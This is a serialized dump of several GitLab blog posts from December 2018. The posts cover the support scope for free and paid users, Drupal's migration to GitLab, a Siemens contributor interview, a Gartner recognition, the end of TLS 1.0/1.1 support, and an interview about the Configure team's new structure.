of our Statement of Support that might need a bit more clarification.\n\n## Scope of support\n\nOne of the more important parts of the Statement of Support is defining the scope of support. Scope of support, in the simplest terms, is what we support and what we do not. Ideally, we would support everything. However, without drastically reducing the quality of our support or increasing the price of our products this would be impossible. The \"limitations\" actually help us to create a more consistent and efficient support experience.\n\n### Scope allows us to streamline our expertise\n\nThis means our support teams will be experts in the necessary fields rather than being stretched thin. We don't want to widen our coverage at the cost of depth. There are core aspects of our services that we _need_ to nail down, and we can't afford to be shallow in these areas.\n\n### Strict adherence to the scope means more consistent support\n\nTeams that don't follow (or have) a scope of support often enable customers to play \"support roulette\" – a practice where a customer might continually contact support for the same issue in the hopes of finding a representative that is willing and able to extend outside of scope. We don't think this is a good experience for either side. We want there to be clear understanding of what support will do.\n\nSo, what do we support and what do we not?\n\n## Support for paid users\n\nFor our paid users, we have pages describing [the scope of support for GitLab.com (SaaS)](/support/statement-of-support/#gitlabcom) and [the scope of support for GitLab Self-managed Licenses](/support/statement-of-support/#self-managed).\n\nWhat about free users? For our wider community members who don't need the features in our paid plans, I'd like to go a bit more in-depth.\n\n## Community-first support for free users\n\nFor our free users, support options will always be \"community first.\" Official support at GitLab is a paid feature, and we encourage our free users to first use resources such as our [documentation](https://docs.gitlab.com) and [community forums](https://forum.gitlab.com).\n\nWhen you run into bugs or have feature requests, it is best to submit an issue to the appropriate issue trackers. For example, the [Community Edition Issue Tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues) or the [GitLab Runner Issue Tracker](https://gitlab.com/gitlab-org/gitlab-runner/issues) would cover bug reports and feature requests for GitLab and GitLab Runner. You can browse all of the repositories in our open-core offering in the [gitlab-org](https://gitlab.com/gitlab-org) group on GitLab.com.\n\nThis type of community-first approach is standard in open source/core and free-to-use applications. Internally, we used the support model of a very popular open source application, [WordPress](https://wordpress.org/support/), and in particular, [WordPress.com (SaaS)](https://en.support.wordpress.com/contact/), when designing our Statement of Support.\n\nIt's a major goal of ours to better foster the community resources. We want the answers to general technical questions about GitLab to be readily available, and we want to build a strong community that helps one another solve issues. We are working with our community team to make the forums more active. It is a _community_ resource, however, and we would appreciate your contributions here as well.\n\nHaving said this, we understand there are certain things that require the attention of our support team, even for our free users. If in doubt, please do submit a ticket, and our team will triage as appropriate. We don't want there to be any discouragement in seeking help from our team. Please understand, however, that priority may go to paid users.\n\nSee [more details on the scope of support for free users](/support/statement-of-support/#free-plan-users).\n\n## Summing up\n\nThe GitLab support team is here to help. Whether you are a free user or an Ultimate customer, we want to ensure you have the best experience possible. We believe that this Statement of Support is an important tool in that process. Everyone at GitLab is a member of the GitLab community and we all play a role in making the entire ecosystem better. We look forward to working with you all to make our projects, issue trackers and forums better, more resource-rich, places.\n",[676,736],{"slug":31070,"featured":6,"template":678},"introducing-our-statement-of-support","content:en-us:blog:introducing-our-statement-of-support.yml","Introducing Our Statement Of Support","en-us/blog/introducing-our-statement-of-support.yml","en-us/blog/introducing-our-statement-of-support",{"_path":31076,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31077,"content":31083,"config":31089,"_id":31091,"_type":16,"title":31092,"_source":17,"_file":31093,"_stem":31094,"_extension":20},"/en-us/blog/a-visual-prototype-of-drupal-dot-orgs-integration-with-gitlab",{"title":31078,"description":31079,"ogTitle":31078,"ogDescription":31079,"noIndex":6,"ogImage":31080,"ogUrl":31081,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31081,"schema":31082},"A visual prototype of Drupal.org's GitLab integration","Guest author Tim Lehnen shares a visual preview of free and open source platform Drupal's upcoming integration with GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671386/Blog/Hero%20Images/drupal-cover.png","https://about.gitlab.com/blog/a-visual-prototype-of-drupal-dot-orgs-integration-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A visual prototype of Drupal.org's GitLab integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Lehnen\"}],\n        \"datePublished\": \"2018-12-19\",\n      }",{"title":31078,"description":31079,"authors":31084,"heroImage":31080,"date":31086,"body":31087,"category":813,"tags":31088},[31085],"Tim Lehnen","2018-12-19","\nAt [Drupal Europe](https://www.drupaleurope.org) in September, we were very pleased that project founder [Dries Buytaert](https://dri.es) highlighted a visual prototype of our upcoming integration with GitLab in his keynote. This follows our announcement that we'd be [moving to GitLab](/blog/drupal-moves-to-gitlab/) back in August.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/q06taaJPGDw?rel=0&amp;showinfo=0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThis video outlines the migration phases that we discussed [in the announcement of our partnership with GitLab](https://www.drupal.org/drupalorg/blog/developer-tools-initiative-part-5-gitlab-partnership). Our migration window for Phase 1 is targeted for the first weeks of January, and we hope Phase 2 to be completed shortly in the beginning of 2019.\n\n## So what has it taken to get this integration working between September and now?\n\nPrimarily, lots of collaboration with the GitLab team. We've worked with their excellent engineering staff to resolve a number of issues that affect our integration, including:\n\n- [git merge-base web API](https://gitlab.com/gitlab-org/gitlab-ce/issues/49850)\n- [Add ability to confirm a user’s email address via \"Add email for user\" API](https://gitlab.com/gitlab-org/gitlab-ce/issues/50876)\n- [Allow configuration of the display URL for clone instructions](https://gitlab.com/gitlab-org/gitlab-ce/issues/49698)\n- [Ability to hide User's Email Address from GitLab UI](https://gitlab.com/gitlab-org/gitlab-ce/issues/24221)\n- [Allow ability for developer role to delete tags](https://gitlab.com/gitlab-org/gitlab-ce/issues/52954)\n- [Set GL_REPOSITORY in update hooks for API-initiated requests](https://gitlab.com/gitlab-org/gitaly/issues/1402)\n- [Deduplication of Git objects, reducing disk space of repository forks](https://gitlab.com/gitlab-org/gitlab-ce/issues/23029)\n\nOn the Drupal.org side:\n\n - We've built a [`versioncontrol_gitlab` module](https://www.drupal.org/project/versioncontrol_gitlab), which extends our use of the [`versioncontrol_git` module](https://www.drupal.org/project/versioncontrol_git) to orchestrate our integration.\n - We've also been cleaning up our data, to ensure there are no namespace conflicts between existing Drupal projects and users, and the reserved terms used by GitLab.\n\nWe're now in the midst of serious migration testing: testing and re-testing the process in our staging environment, putting load testing in place to stress test our integration, and doing user-validation testing to ensure that the workflows affected by this integration are working as expected.\n\nAll in all, we're thrilled with the progress, and very thankful for GitLab's close collaboration. We're excited to be moving the Drupal project to its next generation tooling soon. Once Phase 1 of our migration is complete, it'll be time for Phase 2 and our community will start seeing some tremendous improvements in efficiency and collaboration.\n\n## How can people get involved in Drupal?\n\nThe Drupal community has a comprehensive [Getting Involved Guide](https://www.drupal.org/getting-involved-guide) that can help individuals find their place in the Drupal community. There are also meetups and conferences around the world that are a great way to start your Drupal journey. In particular, [DrupalCon will be coming to Seattle from Apr. 8-12, 2019](https://events.drupal.org/seattle2019).\n\nThe Drupal project's motto has always been \"Come for the code, stay for the community\" and 17 years later, that's a sentiment we still believe in.\n\n### About the guest author\n\nTim Lehnen is the Executive Director at the [Drupal Association](https://www.drupal.org/association).\n\n_This guest post was originally published [on the Drupal blog](https://www.drupal.org/drupalorg/blog/a-visual-prototype-of-drupalorgs-integration-with-gitlab)._\n",[815,267,232],{"slug":31090,"featured":6,"template":678},"a-visual-prototype-of-drupal-dot-orgs-integration-with-gitlab","content:en-us:blog:a-visual-prototype-of-drupal-dot-orgs-integration-with-gitlab.yml","A Visual Prototype Of Drupal Dot Orgs Integration With Gitlab","en-us/blog/a-visual-prototype-of-drupal-dot-orgs-integration-with-gitlab.yml","en-us/blog/a-visual-prototype-of-drupal-dot-orgs-integration-with-gitlab",{"_path":31096,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31097,"content":31102,"config":31107,"_id":31109,"_type":16,"title":31110,"_source":17,"_file":31111,"_stem":31112,"_extension":20},"/en-us/blog/contributor-post-siemens",{"title":31098,"description":31099,"ogTitle":31098,"ogDescription":31099,"noIndex":6,"ogImage":26117,"ogUrl":31100,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31100,"schema":31101},"GitLab Code Contributor: Alexis Reigel","Alexis Reigel shares his experience as a GitLab contributor on behalf of Siemens.","https://about.gitlab.com/blog/contributor-post-siemens","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Code Contributor: Alexis Reigel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-12-18\",\n      }",{"title":31098,"description":31099,"authors":31103,"heroImage":26117,"date":31104,"body":31105,"category":813,"tags":31106},[21623],"2018-12-18","\nFor this month's blog post, we're featuring [Alexis Reigel](https://gitlab.com/koffeinfrei). Alexis was also an [MVP for GitLab 9.5 and 10.8](/community/mvp/).\n\n![Alexis Reigel](https://about.gitlab.com/images/blogimages/Alexis_Reigel.jpeg){: .shadow.small.center}\n\n### How did you get involved with contributing to GitLab?\n\nMy Siemens colleagues have been using GitLab since 2013 with [GitLab 5.2](/releases/2013/05/22/gitlab-5-dot-2-released/). The *[upstream first](https://www.redhat.com/blog/verticalindustries/why-upstream-contributions-matter-when-developing-open-source-nfv-solutions/)* principle is important at Siemens, as they don't want to maintain local patches/forks of software. I was hired to contribute features to GitLab that are needed at Siemens, and this give-and-take process between contributors and users is what is great about open source software. My first contribution was the ability to add a [custom brand header logo in emails](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/9049), which I created on Feb. 7, 2017 and was merged on Feb. 22, 2017.\n\n### What was your experience with the first merged MR?\n\nThere was no controversy with my first MR, and therefore not much debate before it was merged. The review was very quick and the relevant people chimed in right from the start. For some of the later, more complicated merge requests, it was not always this straightforward. Depending on how complicated the MR is and how many people from GitLab participate, the process may take longer and generate a lot of discussions.\n\n### What advice do you have for others who may be interested in contributing to GitLab? In particular, any insights you can share with current GitLab customers who may be thinking about making code contributions?\n\nFirst, I recommend reviewing existing MRs and issues before submitting an MR. In many cases, there are already discussions and potential solutions for a certain feature or bug fix. It's also helpful to find out [who from GitLab](/company/team/) is relevant or responsible for a certain area so you can ping the right person from the start.\n\nThe initial contribution should always be a minimal solution or what GitLab calls a [\"Minimum Viable Change (MVC)\"](/handbook/product/product-principles/#the-minimal-viable-change-mvc), because the solution will often change with feedback. The initial contribution should be considered a starting point for collaboration between the contributor and GitLab team-members.\n\nIn some cases, a contributor may need to be patient with their MR, as depending on the topic and complexity it may take some time to move things forward. The people from GitLab are always very kind and friendly so the discussions are respectful.\n\n### Do you have other colleagues at Siemens who also contribute to GitLab? How do you go about planning and working on your contributions?\n\nYes, there are several colleagues who are active within the GitLab community and you will see [Siemens mentioned in MRs](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/?scope=all&utf8=%E2%9C%93&state=merged&search=siemens).\n\nMy Siemens colleagues collect issues and feature requests internally and prioritize them based on how important and urgent they are. After discussing feature requests with coworkers to make sure we have a common understanding of the intended functionality, I start to work on the issues according to their priority. I have a lot of freedom and trust from Siemens on what the solution I contribute should look like.\n\n### What do you like to do when you're not working?\n\nI work on several other free and open source projects such as [Metaflop](https://www.metaflop.com/), [Mykonote](https://github.com/panter/mykonote/blob/master/README.md), and others in my spare time. Apart from that, I like spending time with my family and friends. If there's any time left, I make and listen to music or watch a movie or two.\n\n### Anything else you want to share with the community?\n\nGitLab is a great product and is one of the friendliest and healthiest open source communities. Contributing to such a large project may seem daunting at first, but will pay off in the end. Your contribution will be appreciated by GitLab team-members as well as everyone who uses the product.\n\n## Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can contribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,2368,815,2704],{"slug":31108,"featured":6,"template":678},"contributor-post-siemens","content:en-us:blog:contributor-post-siemens.yml","Contributor Post Siemens","en-us/blog/contributor-post-siemens.yml","en-us/blog/contributor-post-siemens",{"_path":31114,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31115,"content":31120,"config":31125,"_id":31127,"_type":16,"title":31128,"_source":17,"_file":31129,"_stem":31130,"_extension":20},"/en-us/blog/gartner-peer-choice-gitlab-2018",{"title":31116,"description":31117,"ogTitle":31116,"ogDescription":31117,"noIndex":6,"ogImage":12013,"ogUrl":31118,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31118,"schema":31119},"GitLab named a December 2018 Gartner Peer Insights Customers' Choice for Application Release Orchestration","The Gartner Peer Insights Customers’ Choice is a recognition of vendors in the market verified by end-user reviews and ratings.","https://about.gitlab.com/blog/gartner-peer-choice-gitlab-2018","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named a December 2018 Gartner Peer Insights Customers' Choice for Application Release Orchestration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-12-17\",\n      }",{"title":31116,"description":31117,"authors":31121,"heroImage":12013,"date":31122,"body":31123,"category":299,"tags":31124},[711],"2018-12-17","\n\nWe are excited to announce that we have been recognized as a December 2018\nGartner Peer Insights Customers’ Choice for [Application Release Orchestration](https://www.gartner.com/reviews/customers-choice/application-release-orchestration-solutions/Dec-2018) (ARO). GitLab takes great pride in this distinction,\nas customer feedback continues to shape our products and services.\n\nIn its announcement, Gartner explains, “The Gartner Peer Insights Customers’\nChoice is a recognition of vendors in this market by verified end-user professionals,\ntaking into account both the number of reviews and the overall user ratings.”\nTo ensure fair evaluation, Gartner maintains [rigorous criteria](https://gartner.com/reviews-pages/peer-insights-customers-choice-methodology/)\nfor recognizing vendors with a high customer satisfaction rate.\n\nFor this distinction, a vendor must have a minimum of 50 published reviews with\nan average overall rating of 4.2 stars or higher. [GitLab received 66 reviews](https://www.gartner.com/reviews/market/application-release-orchestration-solutions/vendor/gitlab)\nand a 4.4 rating as of Dec. 14, 2018.\n\nBy providing more powerful ARO tooling, we're able to help\nindividual release managers become more effective in their role of orchestrating\nthe releases moving through their software development organizations. We believe\nthat Release Orchestration is not a framework for placing limitations on CD teams,\nbut actually helps to enable them instead. This is especially so for teams operating under more controlled environments, such as large enterprises or those with other regulatory requirements.\n\nHere are some excerpts from customers that contributed to the distinction:\n\n> \"Great product, great vision. This is how companies will build software in the future.\" - Director of Engineering in the Services Industry\n\n> \"GitLab is driving the future of software development/DevOps lifecycle\" - Enterprise Architect, Finance Industry\n\n> \"A powerful alternative for multiple applications.\" -Java Software Engineer in Services Industry\n\n> \"Best tool to use when looking for agility and flexiblity\" - Software Developer in Services Industry\n\n[Read all of the reviews for GitLab.](https://www.gartner.com/reviews/market/application-release-orchestration-solutions/vendor/gitlab/?pid=67923)\n\n### Help us solve release orchestration frustration\n\nTo all of our customers who submitted reviews, thank you! These reviews mold our\nproducts and our customer journey, and we look forward to building on the\nexperience that earned us this distinction!\u2028 If you have a story to share, we\nencourage you to join the Gartner Peer Insights crowd and weigh in.\n\nOur priority is to solve problems for the future. We want GitLab to be a solution\nthat brings you to where you want to take your engineering and software delivery\nprocesses, rather than propping up inefficient processes with just enough\nautomation to make them bearable. That's why we're starting with solving release\norchestration problems from a modern, cloud native perspective. For these reasons\nour next item is [introducing release pages](https://gitlab.com/gitlab-org/gitlab-ce/issues/41766), which\nfacilitates a way to publish releases familiar to open source developers. Please join\nus in the conversation about this topic at our [strategic epic for Release Orchestration](https://gitlab.com/groups/gitlab-org/-/epics/491).\n\nThe GARTNER PEER INSIGHTS CUSTOMERS’ CHOICE badge is a trademark and service mark of Gartner, Inc., and/or its affiliates, and is used herein with permission. All rights reserved. Gartner Peer Insights Customers’ Choice constitute the subjective opinions of individual end-user reviews, ratings, and data applied against a documented methodology; they neither represent the views of, nor constitute an endorsement by, Gartner or its affiliates.\n{: .note}\n",[736],{"slug":31126,"featured":6,"template":678},"gartner-peer-choice-gitlab-2018","content:en-us:blog:gartner-peer-choice-gitlab-2018.yml","Gartner Peer Choice Gitlab 2018","en-us/blog/gartner-peer-choice-gitlab-2018.yml","en-us/blog/gartner-peer-choice-gitlab-2018",{"_path":31132,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31133,"content":31138,"config":31144,"_id":31146,"_type":16,"title":31147,"_source":17,"_file":31148,"_stem":31149,"_extension":20},"/en-us/blog/gitlab-tls1011-discontinued-update",{"title":31134,"description":31135,"ogTitle":31134,"ogDescription":31135,"noIndex":6,"ogImage":14173,"ogUrl":31136,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31136,"schema":31137},"TLS 1.0 and 1.1 support ended on GitLab.com and API","TLS 1.2 is now required for all clients that connect to GitLab.com and our GitLab API.","https://about.gitlab.com/blog/gitlab-tls1011-discontinued-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Support for TLS 1.0 and 1.1 discontinued on GitLab.com and GitLab API on 2018-12-15\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Melissa Farber\"}],\n        \"datePublished\": \"2018-12-17\",\n      }",{"title":31139,"description":31135,"authors":31140,"heroImage":14173,"date":31122,"body":31142,"category":299,"tags":31143},"Support for TLS 1.0 and 1.1 discontinued on GitLab.com and GitLab API on 2018-12-15",[31141],"Melissa Farber","\n\nOur commitment to providing our users with an increasingly secure platform, supported by the [PCI Security Standards Council](https://blog.pcisecuritystandards.org/are-you-ready-for-30-june-2018-sayin-goodbye-to-ssl-early-tls) mandate, required us to discontinue support of TLS 1.0 and 1.1 on GitLab.com and in our GitLab API on Dec. 15, 2018.\n\nTLS 1.2 is now required for all clients that connect to GitLab.com and our GitLab API.\n\nAs we announced in our [October](/blog/gitlab-to-deprecate-older-tls/) and [November](/blog/gitlab-tls-support-discontinue-update/) blog posts about this initiative, we are always working to evolve our security posture and part of that evolution was the discontinuation of support for these older versions of TLS, which have been rendered outdated or proven to be prone to attacks. The migration away from these weaker cryptographic standards was key to GitLab's compliance with the Payment Card Industry (PCI) DSS 3.1 mandate, which required the deprecation of Secure Sockets Layer (SSL) 3.0, TLS 1.0, and some ciphers supported by TLS 1.1 from protocols supporting strong cryptography.\n\n### The discontinuation of support for TLS 1.0 and 1.1 is only for GitLab.com and our GitLab API\n\nThe changes required to discontinue TLS 1.0 and 1.1 support for self-managed installations are being tracked in [this public issue in the Omnibus project](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/3875). These updates are currently being scheduled for major release 12.0, slated for Mar. 22, 2019.\n\nIf you have experienced any disruptions of service due to the discontinuation of support for TLS versions 1.0 and 1.1, please do not hesitate to reach out to [GitLab support](/support/#contact-support).\n\n## Identified client incompatibilities\n\nThe majority of traffic should be unaffected by the discontinuation of support for TLS versions 1.0 and 1.1. Currently, the vast majority of requests to GitLab.com are using up-to-date clients with support for TLS 1.2. While there are a few remaining clients that we believe will be affected (see below), most of these can be updated to work with TLS 1.2.\n\n### Git-Credential-Manager-for-Windows prior to 1.14.0\n\nVersions prior to 1.14.0 of Git-Credential-Manager-for-Windows do not support TLSv1.2. This can be addressed by updating to v1.14.0.\n\n### Git on Red Hat 5, \u003C 6.8, and \u003C 7.2\n\nUsers running Red Hat 5 are advised to upgrade to a newer version of the operating system as Red Hat does not have a point release planned for 5 that supports TLS 1.2. Git clients shipped with Red Hat 6 and 7 did not support TLSv1.2, which can be remediated by updating to versions 6.8 and 7.2 respectively.\n\n### JGit/Java releases \u003C JDK 8\n\nVersions of the JDK 6 and prior do not support TLSv1.2. We advise users of JDK \u003C= 6 to upgrade to a newer version of the JDK.\n\n### Visual Studio\n\nThe latest version of Visual Studio 2017 supports TLSv1.2. Users not running the latest version are advised to upgrade.\n\nIf you have any questions, please reach out to the Security team by emailing security@gitlab.com.\n",[774,674],{"slug":31145,"featured":6,"template":678},"gitlab-tls1011-discontinued-update","content:en-us:blog:gitlab-tls1011-discontinued-update.yml","Gitlab Tls1011 Discontinued Update","en-us/blog/gitlab-tls1011-discontinued-update.yml","en-us/blog/gitlab-tls1011-discontinued-update",{"_path":31151,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31152,"content":31158,"config":31164,"_id":31166,"_type":16,"title":31167,"_source":17,"_file":31168,"_stem":31169,"_extension":20},"/en-us/blog/configure-post",{"title":31153,"description":31154,"ogTitle":31153,"ogDescription":31154,"noIndex":6,"ogImage":31155,"ogUrl":31156,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31156,"schema":31157},"GitLab restructures to boost cross-functional collaboration","Implementing a new structure sounds like a big change, but our Configure group is here to give you the scoop.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678839/Blog/Hero%20Images/inside-look-at-new-cross-functional-teams-at-gitlab.jpg","https://about.gitlab.com/blog/configure-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We restructured to allow better cross-functional collaboration — here's how it's going.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2018-12-13\",\n      }",{"title":31159,"description":31154,"authors":31160,"heroImage":31155,"date":31161,"body":31162,"category":734,"tags":31163},"We restructured to allow better cross-functional collaboration — here's how it's going.",[22017],"2018-12-13","\nHello world, meet the GitLab Configure group! They’re the folks hard at work improving [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/), the [Kubernetes integration](https://docs.gitlab.com/ee/user/project/clusters/), and all the related applications on GitLab. They, like the rest of the GitLab engineering function, recently changed how they work together when we split up into devops stage groups according to [product area](/handbook/product/categories/). Each group contains a product manager, UX designer, several engineers, and other contributors. They still belong to [teams](/company/team/structure/#team-and-team-members) with others usually in their same role, but they work together as a [group dedicated to a stage](/company/team/structure/#stage-groups) of the product lifecycle. \n\n![meet the configure group](https://about.gitlab.com/images/blogimages/configure-team.jpg){: .shadow.medium.center}\n\nSo far, Configure group members say this has helped them stay focused and connected. Staff UX Designer Taurie Davis explains that while she used to have to switch gears and spend time getting caught up on different product areas, she can now hone in on finding solutions to familiar problems. Having a stable group of collaborators also promotes shared learning, because they’re working together on the same issues at the same time. Product Manager Daniel Gruesso also sees benefits in having a dedicated set of people for each product area; they enjoy more latitude and no longer face as much competition for getting their work prioritized. These are all benefits of [stable counterparts](/handbook/leadership/#stable-counterparts), or people in different functions, departments, or teams who routinely work together, easing communication to avoid conflict and the [downsides of a matrix organization](/handbook/leadership/#no-matrix-organization).\n\nSome of the challenges that drove this change have been echoed in our user research, with cross-group communication a common and recurring roadblock. In our [2018 Global Developer Report](/developer-survey/previous/2018/), a quarter of engineers indicated that they feel siloed, and lack visibility into what their colleagues in operations, product, and security are working on. \n\nThis was reinforced in recent interviews by our UX research team, where many [developers](https://drive.google.com/file/d/1EVrjVcgIBbuNf4Gwenajsiy6Wv9HsTJw/view) we spoke with said that they’re frustrated by changing requirements and scope creep, and pinpointed poor communication with and empathy for other teams as the cause. Their colleagues in [operations roles](https://drive.google.com/file/d/1A5mSNoPJydjcWKE4rdO2287sjnABxGDA/view) face a similar challenge in convincing others to invest cycles in proactive work that can save them time and stress in the future. Although implementing stable groups may seem like a big change, we’ve seen positive results and hope that sharing our experience may help others take the plunge. \n\nI recently caught up with a few members of the Configure group, read on for their perspectives on how it’s been going.\n\n### Can you each introduce yourself and explain your role?\n\n**Dylan:** Hi I'm [Dylan](/company/team/#DylanGriffith). I'm the [Backend Engineering Manager](https://handbook.gitlab.com/job-families/engineering/backend-engineer/#engineering-manager/) for the [Configure](/handbook/product/categories/) group.\n\n**Thong:** I’m new here! I’m [Thong](/company/team/#thongkuah) and I'm a senior [backend engineer](https://handbook.gitlab.com/job-families/engineering/backend-engineer/). \n\n**Mayra:** I'm [Mayra](/company/team/#may_cabrera) and I'm a [backend engineer](https://handbook.gitlab.com/job-families/engineering/backend-engineer/) for the Configure group.\n\n**Taurie:** I'm [Taurie](/company/team/#tauried), the UX designer for the Configure group. I work closely with product and engineering to help shape the overall user experience of our products.\n\n**Daniel:** I'm [Daniel](/company/team/#danielgruesso), the [Product Manager](https://handbook.gitlab.com/job-families/product/product-manager/) for the Configure group. In short I have to make sure that the features we ship are aligned to our vision; this involves interacting with everyone from customers to the CEO. Working together with engineering, UX, and leadership we make our vision a reality.\n\n### In general, how do you think it's going so far?\n\n**Dylan:** So far the stable devops stage group is working well. I believe that backend teams already were well focused on specific product areas, but I think the addition of focused UX and frontend engineers on our product area helps in a few ways. First, we know who to talk to about UX decisions, and the UX designer and frontend engineers have good context across the feature set and often have good insights based on this context. Backend engineers also get to collaborate and form better working relationships with UX and frontend, and as a consequence we communicate more effectively in general.\n\n### What are some of the big differences that arise from working with people in different roles, versus working more with people who share your background? \n\n**Thong:** Key for me is the different strengths and perspectives that we all bring into the group. I'm pleasantly surprised how well our strengths overlap and support the group. Because we come from different perspectives, I feel we can often challenge each other constructively and check that we are heading in the right direction with respect to achieving the best value for the product.\nThe challenges I have seen in the past would be establishing a common understanding of the group's goals, which sometimes might not be exactly aligned with each department's goals.\n\n**Mayra:** Thong’s answer is a really good one. I'm also quite impressed by how our strengths bolster the group productivity.\n\n**Taurie:** We bring different perspectives to the table which can only improve the product in the end. It also greatly improves communication and allows us to work together instead of in progression. I, personally, have also learned a ton by working so closely with both product and engineering on a daily basis.\n\n**Daniel:** I greatly benefit from learning the technical aspects of our work; if I only interacted with other product folks I would surely not learn as much. This is by far the job where I've learned the most in the shortest amount of time. I love that.\n\n### How has the new structure impacted your day to day? \n\n**Mayra:** For me, it has had a positive impact because now I'm focused on developing particular features for certain areas of GitLab, like the Kubernetes integration and Auto DevOps.\n\n**Dylan:** We have deeper conversations with UX designers and frontend engineers as they understand our product set well. Ownership from the UX designer means that as an engineer I feel less stressed about resolving UX decisions or making issues for UX issues, as I can see that Taurie will often take responsibility for seeing this through.\n\n### How have you tried to bond as a new group? \n\n**Dylan:** We are bonding quite well. We started with daily standups and worked our way down to twice weekly. The daily standup really accelerated the bonding between group members and has resulted in fairly healthy collaboration and high levels of trust between group members. We've also done 1 retro as a full group, which I believe was a more comfortable and open environment as a consequence of us bonding for some time before hand.\n\n**Mayra:** At the last GitLab [Summit](/events/gitlab-contribute/), we had our first on site dinner; sadly, Thong was not able to join us, so we'll need to update this picture on the next summit!\n\n![team dinner](https://about.gitlab.com/images/blogimages/configure-team-dinner.png){: .shadow.medium.center}\n\n**Taurie:** We also have [coffee break calls](/culture/all-remote/#coffee-break-calls) regularly with different group members as a way to discuss things outside of work and continue to strengthen the connection between group members. Our monthly group retrospectives are a great way to discuss what is working well within our group, what has been on our minds, and what we can improve for greater collaborations and results.\n\n**Daniel:** I always try to start calls with a personal touch, no matter how small, I've found it sets people at ease. We plan synchronously and clear up any doubts on the work before starting. Once we're aligned we mostly catch up asynchronously.\n\n### Are there any previous problems, delays, or frustrations that have been resolved or prevented in the new structure?\n\n**Dylan:** Difficult to say, but at a high level we had many discussions before forming this group along the lines of engineers waiting for issues to be labeled \"UX Ready\" before starting work on any feature. But now as a group we've come to realize that we're all involved from the beginning to the end, and engineers are responsible for ensuring the UX makes sense and the UX designer is also responsible for ensuring the final product makes sense. We also regularly have UI contributions from Taurie which saves the round trip of commenting on the MR and waiting for the engineer to make the changes.\n\n**Taurie:** Shifting between multiple different product areas made it much more difficult to learn and keep up to date with the more technical areas of our product such as Kubernetes, and Auto DevOps. Being integrated into a group who is constantly working on these features means I have more domain knowledge and can more confidently answer questions related to the user experience of our area.\n\n### What are you most excited to tackle together, and what can we look forward to seeing from the group?\n\n**Dylan:** \nWe're focusing on making Auto DevOps clearer to users; making more decisions based on research rather than relying on industry trends; building a large and engaged user base for Auto DevOps that helps guide us to make better decisions by collaborating on issues; and improving the code architecture so that frontend engineers are more empowered to build better UX without the need to involve backend engineers (eg. more user experience handled in pure frontend Javascript code).\n\n**Taurie:** I am excited to see the group continue to grow and tackle issues that improve the Auto DevOps experience so that it is widely used among GitLab users.\n\n**Daniel:** I am definitely excited to participate in some of our big initiatives like [serverless](/topics/serverless/) and PaaS. In the near future you can look forward to group-level Kubernetes clusters as well as some great Auto DevOps improvements like the ability to initialize and migrate databases.\n\n### Anything else you want to share?\n\n**Daniel:** We're always looking for [engineers](/jobs/). Familiarity with Kubernetes and expertise with ruby will help you land an interview.\n\n**Dylan:** Try out [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) and don't be afraid to create issues for us if you run into trouble. We love hearing from our users!\n\nCover image by [rawpixel](https://unsplash.com/@rawpixel) on [Unsplash](https://unsplash.com/).\n{: .note}\n",[754,2368],{"slug":31165,"featured":6,"template":678},"configure-post","content:en-us:blog:configure-post.yml","Configure Post","en-us/blog/configure-post.yml","en-us/blog/configure-post",{"_path":31171,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31172,"content":31177,"config":31182,"_id":31184,"_type":16,"title":31185,"_source":17,"_file":31186,"_stem":31187,"_extension":20},"/en-us/blog/gitlab-hackerone-bug-bounty-program-is-public-today",{"title":31173,"description":31174,"ogTitle":31173,"ogDescription":31174,"noIndex":6,"ogImage":14173,"ogUrl":31175,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31175,"schema":31176},"GitLab's HackerOne Bug Bounty Program is public today","With 200 reported vulnerabilities and $200,000 awarded already, our bug bounty program is now public and open for your contributions.","https://about.gitlab.com/blog/gitlab-hackerone-bug-bounty-program-is-public-today","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's HackerOne Bug Bounty Program is public today\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kathy Wang\"}],\n        \"datePublished\": \"2018-12-12\",\n      